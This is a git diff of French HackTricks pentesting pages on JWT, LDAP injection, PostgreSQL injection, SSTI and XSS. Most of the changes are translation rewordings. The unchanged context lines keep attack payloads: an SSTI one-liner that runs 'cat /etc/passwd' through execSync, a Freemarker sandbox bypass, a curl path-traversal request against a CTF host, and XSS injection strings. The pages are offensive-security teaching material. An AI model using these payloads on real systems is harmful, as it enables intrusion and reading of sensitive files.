||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -276,7 +276,7 @@ Apprenez et pratiquez le hacking GCP : <img src="../.gitbook/assets/grte.png" al
|
|||
|
||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -3,23 +3,23 @@
|
|||
## Injection LDAP
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -50,14 +50,14 @@ Si vous êtes intéressé par une **carrière en hacking** et par le fait de hac
|
|||
**Sous-chaîne** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
**(&)** = VRAI Absolu\
|
||||
**(|)** = FAUX Absolu
|
||||
**(&)** = VRAI ABSOLU\
|
||||
**(|)** = FAUX ABSOLU
|
||||
|
||||
Par exemple :\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
`(&(objectClass=user)(uid=*))`
|
||||
|
||||
Vous pouvez accéder à la base de données, et cela peut contenir des informations de différents types.
|
||||
Vous pouvez accéder à la base de données, qui peut contenir des informations de différents types.
|
||||
|
||||
**OpenLDAP** : Si 2 filtres arrivent, seul le premier est exécuté.\
|
||||
**ADAM ou Microsoft LDS** : Avec 2 filtres, ils renvoient une erreur.\
|
||||
|
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière dans le hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière dans le hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -238,7 +238,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="../.gitbook/assets/grte.png" al
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Injection PostgreSQL
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,14 +10,14 @@ Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.p
|
|||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière dans le hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -25,13 +25,13 @@ Si vous êtes intéressé par une **carrière en hacking** et par le fait de hac
|
|||
|
||||
**Cette page vise à expliquer différentes astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## Interaction réseau - Escalade de privilèges, Scanner de ports, divulgation de réponse au défi NTLM & Exfiltration
|
||||
## Interaction réseau - Escalade de privilèges, Scanner de ports, divulgation de réponse NTLM challenge & Exfiltration
|
||||
|
||||
Le **module PostgreSQL `dblink`** offre des capacités de connexion à d'autres instances PostgreSQL et d'exécution de connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité `COPY FROM`, permettent des actions telles que l'escalade de privilèges, le scan de ports et la capture de réponses au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
Le **module PostgreSQL `dblink`** offre des capacités de connexion à d'autres instances PostgreSQL et d'exécution de connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité `COPY FROM`, permettent des actions telles que l'escalade de privilèges, le scan de ports et la capture de réponses NTLM challenge. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Exemple d'exfiltration utilisant dblink et objets volumineux**
|
||||
|
||||
Vous pouvez [**lire cet exemple**](dblink-lo\_import-data-exfiltration.md) pour voir un exemple CTF de **comment charger des données à l'intérieur d'objets volumineux puis exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`.
|
||||
Vous pouvez [**lire cet exemple**](dblink-lo\_import-data-exfiltration.md) pour voir un exemple CTF de **comment charger des données à l'intérieur d'objets volumineux et ensuite exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`.
|
||||
|
||||
## Attaques PostgreSQL : Lecture/écriture, RCE, privesc
|
||||
|
||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@ Apprenez et pratiquez le piratage GCP : <img src="../../.gitbook/assets/grte.png
|
|||
|
||||
<summary>Supportez HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
|
@ -133,7 +133,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
|
|||
```
|
||||
**Freemarker - Contournement de la sandbox**
|
||||
|
||||
⚠️ ne fonctionne que sur les versions de Freemarker inférieures à 2.3.30
|
||||
⚠️ ne fonctionne que sur les versions Freemarker inférieures à 2.3.30
|
||||
```java
|
||||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||||
|
@ -193,7 +193,7 @@ Thymeleaf nécessite que ces expressions soient placées dans des attributs spé
|
|||
|
||||
Cependant, la probabilité que cette charge utile fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient implémenter leur propre `TemplateResolver` pour créer des templates à partir de chaînes à la volée, ce qui est peu courant.
|
||||
|
||||
Thymeleaf offre également _le prétraitement d'expressions_, où les expressions dans des doubles underscores (`__...__`) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme démontré dans la documentation de Thymeleaf :
|
||||
Thymeleaf propose également _le prétraitement d'expressions_, où les expressions entourées de doubles underscores (`__...__`) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme démontré dans la documentation de Thymeleaf :
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
|
@ -393,7 +393,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
|
||||
L'Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les beans gérés) dans JavaEE. Elle est largement utilisée dans plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :
|
||||
|
||||
* **JavaServer Faces (JSF)** : Utilise EL pour lier des composants dans les pages JSF aux données et actions correspondantes en backend.
|
||||
* **JavaServer Faces (JSF)** : Utilise EL pour lier les composants dans les pages JSF aux données et actions backend correspondantes.
|
||||
* **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler des données au sein des pages JSP, facilitant ainsi la connexion des éléments de la page aux données de l'application.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)** : EL s'intègre avec CDI pour permettre une interaction fluide entre la couche web et les beans gérés, garantissant une structure d'application plus cohérente.
|
||||
|
||||
|
@ -462,8 +462,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
* `{{7*7}} = 49`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{7*'7'}} = 49`
|
||||
* `{{1/0}} = Erreur`
|
||||
* `{{foobar}} Rien`
|
||||
* `{{1/0}} = Error`
|
||||
* `{{foobar}} Nothing`
|
||||
```python
|
||||
#Get Info
|
||||
{{_self}} #(Ref. to current application)
|
||||
|
@ -642,7 +642,7 @@ Hello {NAME}.<br/>
|
|||
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
Traversée de chemin (plus d'infos [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
Traversal de chemin (plus d'infos [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
|
@ -692,7 +692,7 @@ URLencoded:
|
|||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
**Côté serveur**
|
||||
**Côté Serveur**
|
||||
```bash
|
||||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||||
```
|
||||
|
@ -731,9 +731,9 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Autre NodeJS
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* Plus d'infos sur [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
|
@ -814,7 +814,7 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm
|
|||
|
||||
[Site officiel](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 est un moteur de template complet pour Python. Il a un support unicode complet, un environnement d'exécution intégré en sandbox optionnel, largement utilisé et sous licence BSD.
|
||||
> Jinja2 est un moteur de template complet pour Python. Il a un support complet de l'unicode, un environnement d'exécution intégré en sandbox optionnel, largement utilisé et sous licence BSD.
|
||||
|
||||
* `{{7*7}} = Erreur`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -872,7 +872,7 @@ Consultez la page suivante pour apprendre des astuces sur **l'exécution de comm
|
|||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Autres payloads dans [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
Autres charges utiles dans [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
|
||||
### Mako (Python)
|
||||
```python
|
||||
|
@ -1017,7 +1017,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
|
||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -17,7 +17,7 @@ Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez
|
|||
2. Pouvez-vous utiliser des événements ou des attributs supportant le protocole `javascript:` ?
|
||||
3. Pouvez-vous contourner les protections ?
|
||||
4. Le contenu HTML est-il interprété par un moteur JS côté client (_AngularJS_, _VueJS_, _Mavo_...), vous pourriez abuser d'une [**Injection de Template Côté Client**](../client-side-template-injection-csti.md).
|
||||
5. Si vous ne pouvez pas créer de balises HTML qui exécutent du code JS, pourriez-vous abuser d'une [**Injection HTML sans script - Dangling Markup**](../dangling-markup-html-scriptless-injection/) ?
|
||||
5. Si vous ne pouvez pas créer de balises HTML qui exécutent du code JS, pourriez-vous abuser d'une [**Injection HTML sans script - Markup Dangling**](../dangling-markup-html-scriptless-injection/) ?
|
||||
2. À l'intérieur d'une **balise HTML** :
|
||||
1. Pouvez-vous sortir du contexte HTML brut ?
|
||||
2. Pouvez-vous créer de nouveaux événements/attributs pour exécuter du code JS ?
|
||||
|
@ -28,7 +28,7 @@ Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez
|
|||
2. Pouvez-vous échapper à la chaîne et exécuter un code JS différent ?
|
||||
3. Vos entrées sont-elles dans des littéraux de template \`\` ?
|
||||
4. Pouvez-vous contourner les protections ?
|
||||
4. Fonction Javascript **exécutée**
|
||||
4. Fonction JavaScript **exécutée**
|
||||
1. Vous pouvez indiquer le nom de la fonction à exécuter. par exemple : `?callback=alert(1)`
|
||||
4. Si **utilisée** :
|
||||
1. Vous pourriez exploiter un **DOM XSS**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un sink.**
|
||||
|
@ -41,9 +41,9 @@ Lorsque vous travaillez sur un XSS complexe, il peut être intéressant de conna
|
|||
|
||||
## Valeurs réfléchies
|
||||
|
||||
Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une **valeur contrôlée par vous qui est réfléchie** dans la page web.
|
||||
Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une **valeur contrôlée par vous qui est réfléchie** sur la page web.
|
||||
|
||||
* **Réfléchie de manière intermédiaire** : Si vous constatez que la valeur d'un paramètre ou même le chemin est réfléchi dans la page web, vous pourriez exploiter un **XSS Réfléchi**.
|
||||
* **Réfléchie de manière intermédiaire** : Si vous constatez que la valeur d'un paramètre ou même le chemin est réfléchi sur la page web, vous pourriez exploiter un **XSS Réfléchi**.
|
||||
* **Stockée et réfléchie** : Si vous constatez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**.
|
||||
* **Accédée via JS** : Si vous constatez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un **DOM XSS**.
|
||||
|
||||
|
@ -62,8 +62,8 @@ Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'un
|
|||
|
||||
1. D'**échapper de l'attribut et de la balise** (alors vous serez dans le HTML brut) et de créer une nouvelle balise HTML à abuser : `"><img [...]`
|
||||
2. Si vous **pouvez échapper de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), selon la balise, vous pourriez **créer un événement** qui exécute du code JS : `" autofocus onfocus=alert(1) x="`
|
||||
3. Si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** votre valeur est réfléchie et **si vous contrôlez toute la valeur ou juste une partie**, vous serez en mesure d'en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** votre valeur est réfléchie et **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
4. Si votre entrée est réfléchie à l'intérieur de "**balises inexploitable**", vous pourriez essayer le truc **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :
|
||||
```html
|
||||
|
@ -71,11 +71,11 @@ Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :
|
|||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
### À l'intérieur du code JavaScript
|
||||
### Inside JavaScript code
|
||||
|
||||
Dans ce cas, votre entrée est reflétée entre les balises **`<script> [...] </script>`** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** :
|
||||
Dans ce cas, votre entrée est reflétée entre **`<script> [...] </script>`** balises d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** :
|
||||
|
||||
* Si reflété entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise injectée `</script>` est à l'intérieur du code HTML.
|
||||
* Si reflété entre **`<script> [...] </script>`** balises, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur va d'abord analyser les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
|
||||
* Si reflété **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) :
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
|
@ -138,7 +138,7 @@ Il y a du **code JS** qui utilise **de manière non sécurisée** certaines **do
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
Ces types de XSS peuvent être trouvés **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ces types d'**exécution JavaScript arbitraire** peuvent même être abusés pour obtenir **RCE**, **lire** des **fichiers** **arbitraires** sur les clients et les serveurs, et plus encore.\
|
||||
Ces types de XSS peuvent être trouvés **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ces types d'**exécution JavaScript arbitraire** peuvent même être abusés pour obtenir **RCE**, **lire** **des fichiers** **arbitraires** sur les clients et les serveurs, et plus encore.\
|
||||
Quelques **exemples** :
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
